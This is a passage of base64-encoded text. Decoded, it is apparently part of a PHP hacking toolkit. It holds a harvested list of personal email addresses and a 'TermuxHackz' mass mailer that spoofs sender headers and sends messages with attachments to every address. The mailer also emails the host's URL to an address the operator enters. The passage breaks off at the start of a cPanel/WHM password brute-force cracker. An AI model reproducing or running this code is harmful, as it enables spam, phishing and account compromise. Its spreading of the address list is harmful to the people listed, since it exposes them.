mb3JkUGVlYmxlczM3NjdAYW9sLmNvbQ0KRmxpbnRFd2VsbDExMEB2ZXJpem9uLm5ldA0KTWVsaXNhbmRlQm95ZDMzMEB5YWhvby5jb20NCk1hcmt1c0hvbGRlcjY0QGdteC5jb20NCkNvZGlTdGF2ZTIxOTZAaG90bWFpbC5jb20NCkJlcmljTWlsYm91cm5lMzE2QGxpdmUuY29tDQpQb29sZUpvZTc5QGdteC5jb20NCkNvbm9yQmFiZXI5NzJAdmVyaXpvbi5uZXQNCkJvdXJDYWRlMjQ5OUBsaXZlLmNvbQ0KQmFyZGVuQmFsbGFudGluZTgxOEBhb2wuY29tDQpOYW5lbGxlTW9vcmUzMjA1QHlhaG9vLmNvbQ0KQW5kcmFzTGluZGFsbDEwMjlAeWFob28uY29tDQpEZW55c0NvbHF1aG91bjIyMkBhb2wuY29tDQpDb253eU1hbnNmaWVsZDEzMzZAdmVyaXpvbi5uZXQNCkNsZW1lbnNDaGFtcG5leTkzMkBob3RtYWlsLmNvbQ0KRWFybmVzdHluYVRoZW9kb3JhNTQ0QGxpdmUuY29tDQpCYWRkb25Nb2VyczM4NDZAZ21haWwuY29tDQpKZXN1c0ZpbGV5MTc3NkBnbWFpbC5jb20NCklzZXVsVGhvbWFzNzc0QGxpdmUuY29tDQpBbmplbGljYUFpbnN3b3J0aDMyNjBAdmVyaXpvbi5uZXQNCkdsb3JpYW5uYUJsaXNzNDI2QGxpdmUuY29tDQpBc3NhbmFUd2luZzI3MjZAbGl2ZS5jb20NCkdyZXRhVHJ1YXgxNzgxQHlhaG9vLmNvbQ0KTHluS2VtcDI5MTlAaG90bWFpbC5jb20NCkRvbmF2b25WYXNzZXI1ODVAdmVyaXpvbi5uZXQNCkFzaGxleUNvZmZpbjIxMEBsaXZlLmNvbQ0Kc2tzakBZYWhvby5jb20NCkplbmljZVRocm9ja21vcnRvbjcyNEB5YWhvby5jb20NCkludGlzYXJNaWNoYWVsMjk5OEBsaXZlLmNvbQ0KWmVjaGFyaWFoU2VsbGljazQ0NEBhb2wuY29tDQpFZHl0aGVHb2R3aW4xMjQ1QGxpdmUuY29tDQpJbmdlbGJlcnRJcmV0b24zMTNAYW9sLmNvbQ0KQWRvbldhdGtpbnM2MTBAdmVyaXpvbi5uZXQNCkRyZWRhTWVudGV0aDE5NjhAZ21haWwuY29tDQpnYW1tbGVycnJAZ21haWwuY29tDQpNYWRlbG9uS2VsbG9nZzE5NjBAdmVyaXpvbi5uZXQNCkFtYXVkQmFnb3QxNDEwQGhvdG1haWwuY29tDQpCaW5hQmFsZW4xMzQ4QGFvbC5jb20NCk1lYWRoYmhBbGJlcnQ3NzVAaG90bWFpbC5jb20NClNoaWZyYUJhZ2xleTUwM0Bhb2wuY29tDQpMaXZpYUdlZmZyZXk2NjhAeWFob28uY29tDQpPdHRoaWxkTWlsdG9uMTY0OUBsaXZlLmNvbQ0KRG9uZWdhbkJ1eHRvbjE5MTJAaG90bWFpbC5jb20NCmdyYW1tc0BnbWFpbC5jb20NCkd1c3Rhdm9Cb3dsZXMxMThAZ21haWwuY29tDQpPd3luQ29ub3IzMDQyQHZlcml6b24ubmV0DQpBeWF3YW1hdFdlbXBlbDIyMDdAeWFob28uY29tDQpFdHRhSG91Z2h0YWlsaW5nNzQ3QHZlcml6b24ubmV0DQpIYWxpZ01vbmdlcjE4ODdAeWFob28uY29tDQpDbGlmdG9uNDh1YW9tQGhvdG1haWwuY29tDQpNdWlyZVJheW1lcjEwNzdAbGl2ZS5jb20NCkxvbmRvbldlbGJ5Mjg0N0B2ZXJpem9uLm5ldA0KQ2Fkd2FsYWR5ckxvdmVsMTk4QGxpdmUuY29tDQpHZW5ldmlldmVPbGl2ZXIzMDQwQHlhaG9vLmNvbQ0KSHVzdGVkODY0QGdtYWlsLmNvbQ0KSmFuaWVFZ2dsZXN0b24xMTY1QGhvdG1haWwuY29tDQpFcm5hbk1jUXVhcmllMTkzNEBhb2wuY29tDQpBdHVhbnlhUmVlZDMwMDBAbGl2ZS5jb20NCk1lYWdoYW5BbGV4YW5kZXIxODEwQGhvdG1haWwuY29tDQpOZWFsb25IdWJiYXJkMTUyNUB2ZXJpem9uLm5ldA0KQ29yaW5JbmdsZWJ5MjE5N0B2ZXJpem9uLm5ldA0KQWV0aHJldHVuQ2hsb2U4MTdAeWFob28uY29tDQpEYXZ5bm5Db21zdG9jazM3MTNAeWFob28uY29tDQpGYW9kaGFnYW5FdmVyYXJkMzYwOEBhb2wuY29tDQpDYWNpYVdoYWxsZXkzMTc0QGdtYWlsLmNvbQ0KUm9kR29yaW5nMzg0OUBnbWFpbC5jb20NCkthaGxpR293ZXIxMzNAeWFob28uY29tDQpUb3JlbldhbGxhY2UyMjIzQHlhaG9vLmNvbQ0KQmFycmlzS2VuZGFsbDMzMTlAdmVyaXpvbi5uZXQNCkNhZGVlSGFybGV5Mjg4MEB2ZXJpem9uLm5ldA0KS2V2aWFTdGVwaGVuMjc0MEB2ZXJpem9uLm5ldA0KSWFzb25CdXNraXJrMjU3MkBsaXZlLmNvbQ0KQmVuamllUm9ieTEwNTRAeWFob28uY29tDQpNYWdnaWVDb2NocmFuMjUzQGhvdG1haWwuY29tDQpIb3dlbEdpaG9uNjI0QHZlcml6b24ubmV0DQpEYXJhY2hHcmFuZ2VyMzIwMEBhb2wuY29tDQpHcmFjaWFNaWx0aG9ycGUxNjU1QHZlcml6b24ubmV0DQpNaWV6ZUJyZXdlcjMxOTlAeWFob28uY29tDQpUdXJpR29ybWFuMjI5M0B5YWhvby5jb20NClRpaGtvb3N1ZUxpbmc2NTNAeWFob28uY29tDQpMeXNhbmRlck1jSWxyb3kzMDM4QHlhaG9vLmNvbQ0KRXRlbmlhUmluZzI5NDlAZ21haWwuY29tDQpBbm9raVR5c29uOTAwQHlhaG9vLmNvbQ0KS2FpdGxhbk1pbHRob3JwZTE0NzRAeWFob28uY29tDQpCYW1hQ2FuMTI2N0B2ZXJpem9uLm5ldA0KQ2Fyb0tpZWwyMTA5QHlhaG9vLmNvbQ0KQ2Fyb2xpbmVNZWFkNjE0QGhvdG1haWwuY29tDQpDYXJpbmVCZWRlYXUyNTg5QHZlcml6b24ubmV0DQpDb3J3eW5Bcm1zdHJvbmc3NjNAdmVyaXpvbi5uZXQNCnR5em9uQGdtYWlsLmNvbQ0KdHl6b0BnbWFpbC5jb20NCnR5em9vQGdtYWlsLmNvbQ0KRGF3YXluZUhvZGdla2luczEzNzZAYW9sLmNvbQ0KRWxpc2h1YUJhZGdlcjE5NTVAbGl2ZS5jb20NCkJyYW5kaWVLaWQyNTkxQGxpdmUuY29tDQpvd2Vubmhhc3NzQGhvdG1haWwuY29tDQptb3JnYW5AY3R5Y3RyLmNvbQ0KdHlyb25uQGdtYWlsLmNvbQ0KQWxmcmVkRmVsdG9uMjc4OUB2ZXJpem9uLm5ldA0KQmV2aW5CYW5uZXJtYW4xODk2QHZlcml6b24ubmV0DQpDaGlxdWl0YVBlZWJsZXMxNzMyQHZlcml6b24ubmV0DQpLaXBwYXJXYWtlbWFuMzQ3N0B5YWhvby5jb20NCkZlZW5hdE1jTmF1Z2h0b245MUBhb2wuY29tDQpHZXJhbHluSGViZXIxMTE5QHZlcml6b24ubmV0DQpQZW5pbmFPY2toYW0xNzU1QGFvbC5jb20NCk11c3NhcmV0S2lsbGluMjYzM0BnbWFpbC5jb20NCkVhZG11bmRCYXJyeTIzMzVAbGl2ZS5jb20NCkZsb3JpZGFDaGF0dGVydG9uMzIyM0BsaXZlLmNvbQ0KU2hhcmxlbmVTdGFubGV5NzQwQHZlcml6b24ubmV0DQpXYWxlaXNQZW5ueW1hbjE3N0B5YWhvby5jb20NCkJldHRyeXNKZXdlbGw4OEBsaXZlLmNvbQ0KTWltYUJhcnJvdzE4NjVAaG90bWFpbC5jb20NCkVhdmFuRGlzbmV5MTMzM0B5YWhvby5jb20NCldheWRlQmFsbGFudHluZTM1NDFAZ21haWwuY29tDQpKZW5pbHlublBydWRlbmNlMzg1MUBnbWFpbC5jb20NCk15cmlhbVJpbmdnb2xkMzY3QHlhaG9vLmNvbQ0KQmFtaGlMaXZlcm1vcmUxNTFAaG90bWFpbC5jb20NClllaHVkYUhheWNvY2sxMjAxQGdtYWlsLmNvbQ0KTGFyYWluZU1hbm42OEBsaXZlLmNvbQ0KQWFuaXNhaEJsb3VudDg0NkBob3RtYWlsLmNvbQ0KWmVsbWFSdXl0ZXIzMjc3QHZlcml6b24ubmV0DQpDb2R5ckJyaWVybHkyNzUwQGxpdmUuY29tDQpBeW1lckxhdXJhMTg1OUBhb2wuY29tDQpLZWx3aW5QYWxtZXIzODI2QGhvdG1haWwuY29tDQpSb3Nhbm5hRGFybGluZzMxODdAbGl2ZS5jb20NCkRyaWRlblBhZ2UxNTU0QHlhaG9vLmNvbQ0KQWtlbm9NYW5zZXIzMTE0QHZlcml6b24ubmV0DQpFbGxpTGVhdmVud29ydGgzMjI0QGxpdmUuY29tDQpMZXlsYVJvc3dlbGwxNTI3QHZlcml6b24ubmV0DQpLYWxmclZpY2tlcnMzMDI1QHlhaG9vLmNvbQ0KVWFsdGFyS2VubmVkeTE3MDdAaG90bWFpbC5jb20NClNlbmFsZGFFbHk3MUBhb2wuY29tDQpPbGR3aW5hUXVpbjMxNDdAbGl2ZS5jb20NCkVkcmlndVJvdXNzZWF1Mzg2NEBsaXZlLmNvbQ0KTGl1c2FpZGhMZW5ub3gzNTIwQGFvbC5jb20NCkNodW1pbktlbXlzczE5NzlAYW9sLmNvbQ0KTGVpZ2h0b25MdW1sZXkyODU3QGxpdmUuY29tDQo3ZWV5YTY5QGdtYWlsLmNvbSc7DQpmd3JpdGUoJGZpbGUsICR0eHQpOw0KZmNsb3NlKCRmaWxlKTsNCiRmaWxlbmFtZSA9ICJDb25maWcvZW1haWxfbGlzdHMudHh0IjsNCmlmKGZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpIHsNCiBlY2hvICc8YSBocmVmPSJDb25maWcvZW1haWxfbGlzdHMudHh0IiB0YXJnZXQ9Il9ibGFuayI+Q2xpY2sgaGVyZSB0byBzZWUgZW1haWxzISEgPC9hPjxicj48YnI+JzsNCn0gDQplbHNlIHsNCiBlY2hvICJDb3VsZCBub3QgZmluZCBlbWFpbCBsaXN0IGluIGNvbmZpZyBmaWxlIjsNCiB9IA0KfQ0KPz4NCgk8P3BocA0KCX0gDQoJPz4NCiAgICAgICAgICAgICAgICAgPD9waHANCglpZihpc3NldCgkX0dFVFsnZmFrZV9tYWlsJ10pKSB7DQoJPz4NCgkJPGNlbnRlcj48YnI+PGJyPjxmb250IGNvbG9yPSJncmVlbiIgc2l6ZT0iNiIgZmFjZT0iY3Vyc2l2ZSI+TWFpbGVyIGJ5IFRlcm11eEhhY2t6IFNvY2lldHkgVGVhbTwvZm9udD48YnI+PGJyPg0KCTw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQppbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOw0KZnVuY3Rpb24gZG9zZXQoKSB7DQoJaWYoICFpbmlfZ2V0KCdzYWZlX21vZGUnKSApDQoJew0KICAgICAgICBzZXRfdGltZV9saW1pdCgwKTsNCgkJaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwgMCk7DQogICAgICAgIGluaV9zZXQoIm1lbW9yeV9saW1pdCIsICIyNTZNIik7DQogICAgICAgIGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOw0KCX0NCgllbHNlIGVjaG8gInRoaXMgaXMgYSBzYWZlX21vZGUgb25lIGFuZCB3aWxsIHRpbWVvdXQuLiBjYW5ub3Qgc2V0X3RpbWVfbGltaXQiOw0KCW9iX3N0YXJ0KCk7DQp9DQpkb3NldCgpOw0KDQoNCmlmICgkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpew0KDQogICAgICAgICRtZXNzYWdlID0gdXJsZW5jb2RlKCRfUE9TVFsnbWVzc2FnZSddKTsNCg0KICAgICAgICAkbWVzc2FnZSA9IGVyZWdfcmVwbGFjZSgiJTVDJTIyIiwgIiUyMiIsICRtZXNzYWdlKTsNCg0KICAgICAgICAkbWVzc2FnZSA9IHVybGRlY29kZSgkbWVzc2FnZSk7DQogICAgICAgICRtZXNzYWdlID0gc3RyaXBzbGFzaGVzKCRtZXNzYWdlKTsNCiAgICAgICAgJHN1YmplY3QgPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydzdWJqZWN0J10pOw0KDQp9DQo/Pg0KDQo8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KDQogIDxicj4NCg0KICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCI+DQoNCiAgICA8dHI+IA0KDQogICAgICA8dGQgd2lkdGg9IjEwJSI+IA0KDQogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij48Zm9udCBzaXplPSItMSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+WW91ciANCg0KICAgICAgICAgIEVtYWlsOjwvZm9udD48L2Rpdj4NCg0KICAgICAgPC90ZD4NCg0KICAgICAgPHRkIHdpZHRoPSIxOCUiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4gDQoNCiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZyb20iIHZhbHVlPSI8PyBwcmludCAkX1BPU1RbJ2Zyb20nXTsgPz4iIHNpemU9IjMwIj4NCg0KICAgICAgICA8L2ZvbnQ+PC90ZD4NCg0KICAgICAgPHRkIHdpZHRoPSIzMSUiPiANCg0KICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+PGZvbnQgc2l6ZT0iLTEiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPllvdXIgDQoNCiAgICAgICAgICBOYW1lOjwvZm9udD48L2Rpdj4NCg0KICAgICAgPC90ZD4NCg0KICAgICAgPHRkIHdpZHRoPSI0MSUiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4gDQoNCiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJlYWxuYW1lIiB2YWx1ZT0iPD8gcHJpbnQgJF9QT1NUWydyZWFsbmFtZSddOyA/PiIgc2l6ZT0iMzAiPg0KDQogICAgICAgIDwvZm9udD48L3RkPg0KDQogICAgPC90cj4NCg0KICAgIDx0cj4gDQoNCiAgICAgIDx0ZCB3aWR0aD0iMTAlIj4gDQoNCiAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5SZXBseS1Ubzo8L2ZvbnQ+PC9kaXY+DQoNCiAgICAgIDwvdGQ+DQoNCiAgICAgIDx0ZCB3aWR0aD0iMTglIj48Zm9udCBzaXplPSItMSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+IA0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXBseXRvIiB2YWx1ZT0iPD8gcHJpbnQgJF9QT1NUWydyZXBseXRvJ107ID8+IiBzaXplPSIzMCI+DQoNCiAgICAgICAgPC9mb250PjwvdGQ+DQoNCiAgICAgIDx0ZCB3aWR0aD0iMzElIj4gDQoNCiAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5BdHRhY2ggDQoNCiAgICAgICAgICBGaWxlOjwvZm9udD48L2Rpdj4NCg0KICAgICAgPC90ZD4NCg0KICAgICAgPHRkIHdpZHRoPSI0MSUiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4gDQoNCiAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjMwIj4NCg0KICAgICAgICA8L2ZvbnQ+PC90ZD4NCg0KICAgIDwvdHI+DQoNCiAgICA8dHI+IA0KDQogICAgICA8dGQgd2lkdGg9IjEwJSI+IA0KDQogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij48Zm9udCBzaXplPSItMSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+U3ViamVjdDo8L2ZvbnQ+PC9kaXY+DQoNCiAgICAgIDwvdGQ+DQoNCiAgICAgIDx0ZCBjb2xzcGFuPSIzIj48Zm9udCBzaXplPSItMSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+IA0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdWJqZWN0IiB2YWx1ZT0iPD8gcHJpbnQgc3RyaXBzbGFzaGVzKCRfUE9TVFsnc3ViamVjdCddKTsgPz4iIHNpemU9IjkwIj4NCg0KICAgICAgICA8L2ZvbnQ+PC90ZD4NCg0KICAgIDwvdHI+DQoNCiAgICA8dHIgdmFsaWduPSJ0b3AiPiANCg0KICAgICAgPHRkIGNvbHNwYW49IjMiPjxmb250IHNpemU9Ii0xIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4gDQoNCiAgICAgICAgPHRleHRhcmVhIG5hbWU9Im1lc3NhZ2UiIGNvbHM9IjYwIiByb3dzPSIxMCI+PD8gcHJpbnQgc3RyaXBzbGFzaGVzKCRfUE9TVFsnbWVzc2FnZSddKTsgPz48L3RleHRhcmVhPg0KDQogICAgICAgIDxicj4NCg0KICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImNvbnRlbnR0eXBlIiB2YWx1ZT0icGxhaW4iPg0KDQogICAgICAgIFBsYWluIA0KDQogICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iY29udGVudHR5cGUiIHZhbHVlPSJodG1sIiBjaGVja2VkPg0KDQogICAgICAgIEhUTUwgDQoNCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2VuZCI+DQoNCiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgTWVzc2FnZSI+DQoNCiAgICAgICAgPC9mb250PjwvdGQ+DQoNCiAgICAgIDx0ZCB3aWR0aD0iNDElIj48Zm9udCBzaXplPSItMSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+IA0KDQogICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJlbWFpbGxpc3QiIGNvbHM9IjMwIiByb3dzPSIxMCI+PC90ZXh0YXJlYT4NCg0KICAgICAgICA8YnI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJlbWFpbGZpbmFsIiB2YWx1ZT0iPD8gcHJpbnQgJF9QT1NUWydlbWFpbGZpbmFsJ107ID8+IiBzaXplPSIyMiI+IChFTUFJTCBWRVJJRklDQVRJT04pDQogICAgICAgIDwvZm9udD48L3RkPg0KICAgIDwvdHI+DQogIDwvdGFibGU+DQogIDxwPkZvciBlYWNoIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJlbWFpbHoiIHZhbHVlPSI8PyBwcmludCAkX1BPU1RbJ2VtYWlseiddOyA/PiIgc2l6ZT0iMyI+IG1haWx6LCB3YWl0IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ3YWl0IiB2YWx1ZT0iPD8gcHJpbnQgJF9QT1NUWyd3YWl0J107ID8+IiBzaXplPSIzIj4gc2Vjb25kPGJyPjwvcD4NCjwvZm9ybT4NCg0KDQoNCjw/DQoNCmlmICgkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpew0KICAgICAgICAkbWVzc2FnZSA9IHVybGVuY29kZSgkX1BPU1RbJ21lc3NhZ2UnXSk7DQoNCiAgICAgICAgJG1lc3NhZ2UgPSBlcmVnX3JlcGxhY2UoIiU1QyUyMiIsICIlMjIiLCAkbWVzc2FnZSk7DQoNCiAgICAgICAgJG1lc3NhZ2UgPSB1cmxkZWNvZGUoJG1lc3NhZ2UpOw0KICAgICAgICAkbWVzc2FnZSA9IHN0cmlwc2xhc2hlcygkbWVzc2FnZSk7DQogICAgICAgICRzdWJqZWN0ID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnc3ViamVjdCddKTsNCg0KDQogICAgICAgICRmcm9tPSRfUE9TVFsnZnJvbSddOw0KICAgICAgICAkcmVhbG5hbWU9JF9QT1NUWydyZWFsbmFtZSddOw0KICAgICAgICAkcmVwbHl0bz0kX1BPU1RbJ3JlcGx5dG8nXTsNCg0KDQogICAgICAgICRlbWFpbGxpc3Q9JF9QT1NUWydlbWFpbGxpc3QnXTsNCiAgICAgICANCiAgICAgICAgJGNvbnRlbnR0eXBlPSRfUE9TVFsnY29udGVudHR5cGUnXTsNCg0KDQogICAgICAgICRhbGxlbWFpbHMgPSBzcGxpdCgiXG4iLCAkZW1haWxsaXN0KTsNCg0KICAgICAgICAkbnVtZW1haWxzID0gY291bnQoJGFsbGVtYWlscyk7DQoJCQ0KCQkNCg0KDQogICAgICAgICNPcGVuIHRoZSBmaWxlIGF0dGFjaG1lbnQgaWYgYW55LCBhbmQgYmFzZTY0X2VuY29kZSBpdCBmb3IgZW1haWwgdHJhbnNwb3J0DQoJCSRmaWxlX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGUgPSAkX0ZJTEVTWydmaWxlJ107DQogICAgICAgIGlmICgkZmlsZV9uYW1lKXsNCg0KICAgICAgICAgICAgICAgIEBjb3B5KCRmaWxlLCAiLi8kZmlsZV9uYW1lIikgb3IgZGllKCJUaGUgZmlsZSB5b3UgYXJlIHRyeWluZyB0byB1cGxvYWQgY291bGRuJ3QgYmUgY29waWVkIHRvIHRoZSBzZXJ2ZXIiKTsNCg0KICAgICAgICAgICAgICAgICRjb250ZW50ID0gZnJlYWQoZm9wZW4oJGZpbGUsInIiKSxmaWxlc2l6ZSgkZmlsZSkpOw0KDQogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRjb250ZW50KSk7DQoNCiAgICAgICAgICAgICAgICAkdWlkID0gc3RydG91cHBlcihtZDUodW5pcWlkKHRpbWUoKSkpKTsNCg0KICAgICAgICAgICAgICAgICRuYW1lID0gYmFzZW5hbWUoJGZpbGUpOw0KDQogICAgICAgIH0NCg0KICAgICAgICANCg0KICAgICAgICBmb3IoJHg9MDsgJHg8JG51bWVtYWlsczsgJHgrKyl7DQoNCiAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2VtYWlseiddICYmICRfUE9TVFsnd2FpdCddKQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoIGZtb2QoJHgsJGVtYWlseikgPT0gMCApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLT4gQWxyZWFkeSBhdCB0aGUgZW1haWwgJHgsIGV4Y2VwdCAkd2FpdCBzZWNvbmQuPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNsZWVwKCR3YWl0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdG8gPSAkYWxsZW1haWxzWyR4XTsNCg0KICAgICAgICAgICAgICAgIGlmICgkdG8pew0KDQoJCQkJCSR0byA9IGVyZWdfcmVwbGFjZSgiICIsICIiLCAkdG8pOw0KCQkJCQkkdG8gPSB0cmltKCR0byk7DQoJDQoJCQkJCSRtZXNzYWdlID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkbWVzc2FnZSk7DQoJDQoJCQkJCSRzdWJqZWN0ID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkc3ViamVjdCk7DQoJDQoJCQkJCXByaW50ICJTZW5kaW5nIG1haWwgdG8gJHRvLi4uLi4uLiI7DQoJDQoJCQkJCWZsdXNoKCk7DQoJCQkJCW9iX2ZsdXNoKCk7DQoJDQoJCQkJCSRoZWFkZXIgPSAiRnJvbTogJHJlYWxuYW1lIDwkZnJvbT5cclxuUmVwbHktVG86ICRyZXBseXRvXHJcbiI7DQoJDQoJCQkJCSRoZWFkZXIgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7DQoJDQoJCQkJCWlmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9JHVpZFxyXG4iOw0KCQ0KCQkJCQlpZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiLS0kdWlkXHJcbiI7DQoJDQoJCQkJCSRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC8kY29udGVudHR5cGVcclxuIjsNCgkNCgkJCQkJJGhlYWRlciAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdFxyXG5cclxuIjsNCgkNCgkJCQkJJGhlYWRlciAuPSAiJG1lc3NhZ2VcclxuIjsNCgkNCgkJCQkJaWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZFxyXG4iOw0KCQ0KCQkJCQlpZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiQ29udGVudC1UeXBlOiAkZmlsZV90eXBlOyBuYW1lPVwiJGZpbGVfbmFtZVwiXHJcbiI7DQoJDQoJCQkJCWlmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuIjsNCgkNCgkJCQkJaWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiJGZpbGVfbmFtZVwiXHJcblxyXG4iOw0KCQ0KCQkJCQlpZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiJGNvbnRlbnRcclxuIjsNCgkNCgkJCQkJaWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZC0tIjsNCgkNCgkJCQkJQG1haWwoJHRvLCAkc3ViamVjdCwgIiIsICRoZWFkZXIpOw0KCQ0KCQkJCQlwcmludCAiIFMtbyBzaG93ZXI8YnI+IjsNCgkNCgkJCQkJZmx1c2goKTsNCgkJCQkJb2JfZmx1c2goKTsNCg0KICAgICAgICAgICAgICAgIH0NCg0KCQl9Ly9lbmQgZm9yDQoJCQ0KCQlpZiggc3RycG9zKCRfUE9TVFsnZW1haWxmaW5hbCddLCAiQCIpICE9PSBmYWxzZSl7DQoJCQlAbWFpbCgkX1BPU1RbJ2VtYWlsZmluYWwnXSwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAidGVzdCIpOw0KCQl9DQogICAgICAgICAgICAgICAgLy8kZW1haWxsaXN0IC49ICJcbiIuICRfUE9TVFsnZW1haWxmaW5hbCddOw0KDQoNCg0KfQ0KDQplY2hvICI8L2NlbnRlcj4iOw0KPz4NCgk8P3BocA0KCX0gDQoJPz4gICAgICAJCQkJCQ0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfR0VUWydjcGFuZWwnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGZvbnQgY29sb3I9InJlZCIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iNSI+QXV0byBVc2VyL3Bhc3MgQ3BhbmVsIENyYWNrZXI8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPXBvc3Q+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbD5TZWxlY3QgdG8gYnJ1dGU9PjwvbGFiZWw+PHNlbGVjdCBuYW1lPSJvcCI+IDxvcHRpb24gbmFtZT0ib3AiIHZhbHVlPSJjcCI+Q1BhbmVsPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIG5hbWU9Im9wIiB2YWx1ZT0id2htIj5XSE1QYW5lbDwvb3B0aW9uPg0KDQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOndoaXRlIiByb3dzPTIwIGNvbHM9MjUgbmFtZT11c